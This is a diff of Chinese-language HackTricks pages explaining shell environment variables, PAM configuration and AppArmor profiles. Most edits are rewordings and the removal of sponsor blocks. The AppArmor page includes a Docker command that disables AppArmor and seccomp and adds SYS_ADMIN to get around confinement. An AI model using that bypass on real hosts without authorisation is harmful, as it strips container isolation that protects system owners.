* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
|
||||
|
||||
WhiteIntel的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向**HackTricks**和**HackTricks Cloud** github仓库提交PR来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 全局变量
|
||||
|
||||
全局变量 **将被** 子进程 **继承**。
|
||||
|
@ -32,7 +24,7 @@
|
|||
export MYGLOBAL="hello world"
|
||||
echo $MYGLOBAL #Prints: hello world
|
||||
```
|
||||
这个变量将被当前会话及其子进程访问。
|
||||
这个变量将可以被您当前的会话及其子进程访问。
|
||||
|
||||
您可以通过以下方式**删除**一个变量:
|
||||
```bash
|
||||
|
@ -40,7 +32,7 @@ unset MYGLOBAL
|
|||
```
|
||||
## Local variables
|
||||
|
||||
**局部变量**只能被**当前的 shell/script** **访问**。
|
||||
**局部变量**只能被**当前的 shell/脚本**访问。
|
||||
```bash
|
||||
LOCAL="my local"
|
||||
echo $LOCAL
|
||||
|
@ -126,11 +118,6 @@ Root:
|
|||
|
||||
![](<../.gitbook/assets/image (715).png>)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -141,7 +128,7 @@ Root:
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# PAM - 可插拔认证模块
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,28 +15,15 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### 基本信息
|
||||
|
||||
**PAM (可插拔认证模块)** 作为一种安全机制,**验证试图访问计算机服务的用户身份**,根据各种标准控制他们的访问。这类似于数字守门员,确保只有授权用户可以使用特定服务,同时可能限制他们的使用以防止系统过载。
|
||||
**PAM (可插拔认证模块)** 作为一种安全机制,**验证试图访问计算机服务的用户身份**,根据各种标准控制他们的访问。它类似于数字门卫,确保只有授权用户可以使用特定服务,同时可能限制他们的使用以防止系统过载。
|
||||
|
||||
#### 配置文件
|
||||
|
||||
* **Solaris 和 UNIX 系统** 通常使用位于 `/etc/pam.conf` 的中央配置文件。
|
||||
* **Linux 系统** 更倾向于目录方法,将特定服务的配置存储在 `/etc/pam.d` 中。例如,登录服务的配置文件位于 `/etc/pam.d/login`。
|
||||
* **Solaris 和基于 UNIX 的系统** 通常使用位于 `/etc/pam.conf` 的中央配置文件。
|
||||
* **Linux 系统** 更倾向于目录方法,将服务特定的配置存储在 `/etc/pam.d` 中。例如,登录服务的配置文件位于 `/etc/pam.d/login`。
|
||||
|
||||
登录服务的 PAM 配置示例可能如下所示:
|
||||
```
|
||||
|
@ -58,48 +45,37 @@ session required /lib/security/pam_unix_session.so
|
|||
* **Auth**:验证用户身份,通常通过提示输入密码。
|
||||
* **Account**:处理账户验证,检查如组成员资格或时间限制等条件。
|
||||
* **Password**:管理密码更新,包括复杂性检查或字典攻击防护。
|
||||
* **Session**:管理服务会话开始或结束时的操作,如挂载目录或设置资源限制。
|
||||
* **Session**:管理服务会话开始或结束时的操作,例如挂载目录或设置资源限制。
|
||||
|
||||
#### **PAM 模块控制**
|
||||
|
||||
控制决定模块对成功或失败的响应,影响整体身份验证过程。这些包括:
|
||||
|
||||
* **Required**:必需模块的失败最终导致失败,但仅在检查所有后续模块后。
|
||||
* **Required**:所需模块的失败最终导致失败,但仅在检查所有后续模块后。
|
||||
* **Requisite**:失败时立即终止过程。
|
||||
* **Sufficient**:成功绕过同一领域的其余检查,除非后续模块失败。
|
||||
* **Optional**:仅在其为堆栈中唯一模块时导致失败。
|
||||
* **Optional**:仅在它是堆栈中唯一模块时导致失败。
|
||||
|
||||
#### 示例场景
|
||||
|
||||
在多个 auth 模块的设置中,过程遵循严格的顺序。如果 `pam_securetty` 模块发现登录终端未授权,则阻止 root 登录,但由于其“必需”状态,所有模块仍会被处理。`pam_env` 设置环境变量,可能有助于用户体验。`pam_ldap` 和 `pam_unix` 模块协同工作以验证用户,`pam_unix` 尝试使用先前提供的密码,从而提高身份验证方法的效率和灵活性。
|
||||
在多个 auth 模块的设置中,过程遵循严格的顺序。如果 `pam_securetty` 模块发现登录终端未授权,则阻止 root 登录,但由于其“required”状态,所有模块仍会被处理。`pam_env` 设置环境变量,可能有助于用户体验。`pam_ldap` 和 `pam_unix` 模块协同工作以验证用户,`pam_unix` 尝试使用先前提供的密码,从而提高身份验证方法的效率和灵活性。
|
||||
|
||||
### 参考文献
|
||||
### 参考
|
||||
|
||||
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **泄露**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,56 +1,42 @@
|
|||
# AppArmor
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否已受到**窃取恶意软件**的**损害**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
AppArmor 是一个**内核增强程序,旨在通过每个程序的配置文件限制程序可用的资源**,有效地实现强制访问控制(MAC),将访问控制属性直接绑定到程序而不是用户。该系统通过**将配置文件加载到内核中**来运行,通常在启动时进行,这些配置文件规定了程序可以访问的资源,例如网络连接、原始套接字访问和文件权限。
|
||||
AppArmor 是一个 **内核增强,旨在通过每个程序的配置文件限制程序可用的资源**,有效地通过将访问控制属性直接与程序而非用户绑定来实现强制访问控制 (MAC)。该系统通过 **在内核中加载配置文件** 来运行,通常在启动时,这些配置文件规定了程序可以访问的资源,例如网络连接、原始套接字访问和文件权限。
|
||||
|
||||
AppArmor 配置文件有两种操作模式:
|
||||
|
||||
* **强制模式**:该模式积极执行配置文件中定义的策略,阻止违反这些策略的操作,并通过诸如 syslog 或 auditd 等系统记录任何试图违反这些策略的尝试。
|
||||
* **投诉模式**:与强制模式不同,投诉模式不会阻止违反配置文件策略的操作。相反,它将这些尝试记录为策略违规,而不强制执行限制。
|
||||
* **强制模式**:此模式积极执行配置文件中定义的策略,阻止违反这些政策的操作,并通过 syslog 或 auditd 等系统记录任何试图违反这些政策的行为。
|
||||
* **投诉模式**:与强制模式不同,投诉模式不会阻止违反配置文件政策的操作。相反,它将这些尝试记录为政策违规,而不执行限制。
|
||||
|
||||
### AppArmor 的组成部分
|
||||
### AppArmor 组件
|
||||
|
||||
* **内核模块**:负责执行策略。
|
||||
* **策略**:指定程序行为和资源访问的规则和限制。
|
||||
* **解析器**:将策略加载到内核以执行或报告。
|
||||
* **内核模块**:负责政策的执行。
|
||||
* **政策**:指定程序行为和资源访问的规则和限制。
|
||||
* **解析器**:将政策加载到内核中以进行执行或报告。
|
||||
* **实用程序**:这些是用户模式程序,提供与 AppArmor 交互和管理的接口。
|
||||
|
||||
### 配置文件路径
|
||||
|
||||
AppArmor 配置文件通常保存在 _**/etc/apparmor.d/**_ 目录中\
|
||||
使用 `sudo aa-status` 命令,您将能够列出受某个配置文件限制的二进制文件。如果您可以将每个列出的二进制文件的路径中的斜杠“/”更改为点号,您将获得提到的文件夹中 AppArmor 配置文件的名称。
|
||||
AppArmor 配置文件通常保存在 _**/etc/apparmor.d/**_\
|
||||
使用 `sudo aa-status`,您将能够列出受某些配置文件限制的二进制文件。如果您可以将每个列出二进制文件路径中的字符 "/" 更改为点,您将获得提到的文件夹内的 AppArmor 配置文件名称。
|
||||
|
||||
例如,_usr/bin/man_ 的 **AppArmor** 配置文件将位于 _/etc/apparmor.d/usr.bin.man_
|
||||
例如,_**/usr/bin/man**_ 的 **AppArmor** 配置文件将位于 _/etc/apparmor.d/usr.bin.man_
|
||||
|
||||
### 命令
|
||||
```bash
|
||||
|
@ -62,34 +48,34 @@ aa-genprof #generate a new profile
|
|||
aa-logprof #used to change the policy when the binary/program is changed
|
||||
aa-mergeprof #used to merge the policies
|
||||
```
|
||||
## 创建一个配置文件
|
||||
## 创建配置文件
|
||||
|
||||
* 为了指定受影响的可执行文件,允许使用**绝对路径和通配符**(用于文件通配)来指定文件。
|
||||
* 为了指示二进制文件将对**文件**具有的访问权限,可以使用以下**访问控制**:
|
||||
* 为了指示受影响的可执行文件,**绝对路径和通配符**被允许用于指定文件。
|
||||
* 为了指示二进制文件对**文件**的访问,可以使用以下**访问控制**:
|
||||
* **r**(读取)
|
||||
* **w**(写入)
|
||||
* **m**(内存映射为可执行文件)
|
||||
* **m**(将内存映射为可执行)
|
||||
* **k**(文件锁定)
|
||||
* **l**(创建硬链接)
|
||||
* **ix**(使用新程序继承策略执行另一个程序)
|
||||
* **Px**(在清理环境后在另一个配置文件下执行)
|
||||
* **Cx**(在清理环境后在子配置文件下执行)
|
||||
* **Ux**(在清理环境后执行无限制)
|
||||
* **变量**可以在配置文件中定义,并且可以从配置文件外部进行操作。例如:@{PROC} 和 @{HOME}(在配置文件中添加 #include \<tunables/global>)
|
||||
* **ix**(执行另一个程序,新程序继承策略)
|
||||
* **Px**(在另一个配置文件下执行,清理环境后)
|
||||
* **Cx**(在子配置文件下执行,清理环境后)
|
||||
* **Ux**(在无约束下执行,清理环境后)
|
||||
* **变量**可以在配置文件中定义,并可以从配置文件外部进行操作。例如:@{PROC} 和 @{HOME}(将 #include \<tunables/global> 添加到配置文件中)
|
||||
* **支持拒绝规则以覆盖允许规则**。
|
||||
|
||||
### aa-genprof
|
||||
|
||||
为了轻松开始创建一个配置文件,apparmor 可以帮助您。可以让**apparmor 检查二进制文件执行的操作,然后让您决定要允许还是拒绝哪些操作**。\
|
||||
只需要运行:
|
||||
为了轻松开始创建配置文件,apparmor 可以帮助你。可以让**apparmor 检查二进制文件执行的操作,然后让你决定要允许或拒绝哪些操作**。\
|
||||
你只需运行:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
然后,在另一个控制台中执行二进制文件通常会执行的所有操作:
|
||||
然后,在另一个控制台执行二进制文件通常会执行的所有操作:
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
然后,在第一个控制台中按下 "**s**",然后在记录的操作中指示您想要忽略、允许或其他操作。完成后按下 "**f**",新配置文件将被创建在 _/etc/apparmor.d/path.to.binary_
|
||||
然后,在第一个控制台按“**s**”,然后在记录的操作中指示您想要忽略、允许或其他。当您完成时按“**f**”,新配置文件将创建在 _/etc/apparmor.d/path.to.binary_
|
||||
|
||||
{% hint style="info" %}
|
||||
使用箭头键可以选择您想要允许/拒绝/其他的内容
|
||||
|
@ -97,7 +83,7 @@ sudo aa-genprof /path/to/binary
|
|||
|
||||
### aa-easyprof
|
||||
|
||||
您还可以使用以下命令创建一个二进制文件的AppArmor配置文件模板:
|
||||
您还可以使用以下命令创建二进制文件的 apparmor 配置文件模板:
|
||||
```bash
|
||||
sudo aa-easyprof /path/to/binary
|
||||
# vim:syntax=apparmor
|
||||
|
@ -123,21 +109,21 @@ sudo aa-easyprof /path/to/binary
|
|||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
请注意,默认情况下,在创建的配置文件中,什么都不允许,因此一切都被拒绝。您需要添加类似 `/etc/passwd r,` 这样的行来允许例如读取二进制文件 `/etc/passwd`。
|
||||
请注意,在创建的配置文件中,默认情况下不允许任何操作,因此所有操作都被拒绝。您需要添加类似 `/etc/passwd r,` 的行,以允许二进制文件读取 `/etc/passwd`,例如。
|
||||
{% endhint %}
|
||||
|
||||
然后,您可以使用以下命令**强制执行**新配置文件:
|
||||
您可以使用以下命令**强制执行**新配置文件:
|
||||
```bash
|
||||
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
||||
```
|
||||
### 从日志修改配置文件
|
||||
|
||||
以下工具将读取日志,并询问用户是否允许一些检测到的禁止操作:
|
||||
以下工具将读取日志,并询问用户是否希望允许某些检测到的禁止操作:
|
||||
```bash
|
||||
sudo aa-logprof
|
||||
```
|
||||
{% hint style="info" %}
|
||||
使用箭头键可以选择您想要允许/拒绝/其他操作的内容
|
||||
使用箭头键可以选择您想要允许/拒绝/其他的内容
|
||||
{% endhint %}
|
||||
|
||||
### 管理配置文件
|
||||
|
@ -148,14 +134,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
|
|||
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
||||
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
||||
```
|
||||
## 日志
|
||||
## Logs
|
||||
|
||||
来自可执行文件 **`service_bin`** 的 _/var/log/audit/audit.log_ 中 **AUDIT** 和 **DENIED** 日志的示例:
|
||||
来自可执行文件 **`service_bin`** 的 _/var/log/audit/audit.log_ 的 **AUDIT** 和 **DENIED** 日志示例:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
```
|
||||
您也可以使用以下方式获取此信息:
|
||||
您还可以使用以下方法获取此信息:
|
||||
```bash
|
||||
sudo aa-notify -s 1 -v
|
||||
Profile: /bin/service_bin
|
||||
|
@ -173,9 +159,9 @@ Logfile: /var/log/audit/audit.log
|
|||
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
|
||||
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
||||
```
|
||||
## Docker中的Apparmor
|
||||
## Apparmor in Docker
|
||||
|
||||
注意默认情况下如何加载docker的配置文件**docker-profile**:
|
||||
注意**docker-profile**的配置文件是默认加载的:
|
||||
```bash
|
||||
sudo aa-status
|
||||
apparmor module is loaded.
|
||||
|
@ -191,69 +177,69 @@ apparmor module is loaded.
|
|||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
```
|
||||
默认情况下,**Apparmor docker-default profile** 是从 [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) 生成的。
|
||||
默认情况下,**Apparmor docker-default 配置文件**是从 [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) 生成的。
|
||||
|
||||
**docker-default profile 摘要**:
|
||||
**docker-default 配置文件摘要**:
|
||||
|
||||
- 允许访问所有**网络**
|
||||
- 没有定义**任何权限**(但是,一些权限将来自于包含基本基本规则,即 #include \<abstractions/base>)
|
||||
- **不允许**写入任何 **/proc** 文件
|
||||
- 其他 /**proc** 和 /**sys** 的**子目录**/**文件** **拒绝**读取/写入/锁定/链接/执行访问
|
||||
- **不允许**挂载
|
||||
- **Ptrace** 只能在受 **相同 apparmor profile 限制**的进程上运行
|
||||
* **访问**所有**网络**
|
||||
* **没有定义能力**(但是,一些能力将来自包含基本基础规则,即 #include \<abstractions/base>)
|
||||
* **写入**任何**/proc** 文件**是不允许的**
|
||||
* 其他/**proc** 和 /**sys** 的**子目录**/**文件**被**拒绝**读/写/锁/链接/执行访问
|
||||
* **挂载**是**不允许的**
|
||||
* **Ptrace**只能在被**相同 apparmor 配置文件**限制的进程上运行
|
||||
|
||||
一旦您**运行一个 docker 容器**,您应该看到以下输出:
|
||||
一旦你**运行一个 docker 容器**,你应该看到以下输出:
|
||||
```bash
|
||||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
请注意,**即使容器被默认授予了能力权限,apparmor 也会阻止这些权限**。例如,即使授予了 SYS_ADMIN 能力,它也可以**阻止写入 /proc 目录的权限**,因为默认情况下 docker apparmor 配置文件拒绝了这种访问:
|
||||
注意,**apparmor 甚至会阻止默认情况下授予容器的能力特权**。例如,它将能够**阻止写入 /proc 的权限,即使授予了 SYS\_ADMIN 能力**,因为默认情况下 docker apparmor 配置文件拒绝此访问:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
sh: 1: cannot create /proc/stat: Permission denied
|
||||
```
|
||||
你需要**禁用 AppArmor** 来绕过其限制:
|
||||
您需要**禁用 apparmor**以绕过其限制:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
请注意,默认情况下**AppArmor**也会**禁止容器从内部挂载**文件夹,即使具有SYS_ADMIN权限也不行。
|
||||
注意,默认情况下,**AppArmor** 还会 **禁止容器从内部挂载** 文件夹,即使具有 SYS\_ADMIN 能力。
|
||||
|
||||
请注意,您可以向docker容器**添加/移除****权限**(这仍将受到诸如**AppArmor**和**Seccomp**之类的保护方法的限制):
|
||||
注意,您可以 **添加/删除** **能力** 到 docker 容器(这仍然会受到 **AppArmor** 和 **Seccomp** 等保护方法的限制):
|
||||
|
||||
- `--cap-add=SYS_ADMIN` 给予`SYS_ADMIN`权限
|
||||
- `--cap-add=ALL` 给予所有权限
|
||||
- `--cap-drop=ALL --cap-add=SYS_PTRACE` 撤销所有权限,仅给予`SYS_PTRACE`权限
|
||||
* `--cap-add=SYS_ADMIN` 给予 `SYS_ADMIN` 能力
|
||||
* `--cap-add=ALL` 给予所有能力
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` 删除所有能力,仅给予 `SYS_PTRACE`
|
||||
|
||||
{% hint style="info" %}
|
||||
通常,当您**发现**在**docker**容器**内部**有**特权权限**可用,但某些**利用**的部分**无法正常工作**时,这可能是因为docker的**AppArmor正在阻止**。
|
||||
通常,当您 **发现** 在 **docker** 容器 **内部** 有 **特权能力** 可用 **但** 某些部分的 **利用** 不起作用时,这将是因为 docker **apparmor 会阻止它**。
|
||||
{% endhint %}
|
||||
|
||||
### 示例
|
||||
|
||||
(示例来自[**这里**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
|
||||
(示例来自 [**这里**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
|
||||
|
||||
为了说明AppArmor的功能,我创建了一个名为“mydocker”的新Docker配置文件,并添加了以下行:
|
||||
为了说明 AppArmor 的功能,我创建了一个新的 Docker 配置文件 “mydocker”,并添加了以下行:
|
||||
```
|
||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||
```
|
||||
要激活该配置文件,我们需要执行以下操作:
|
||||
要激活配置文件,我们需要执行以下操作:
|
||||
```
|
||||
sudo apparmor_parser -r -W mydocker
|
||||
```
|
||||
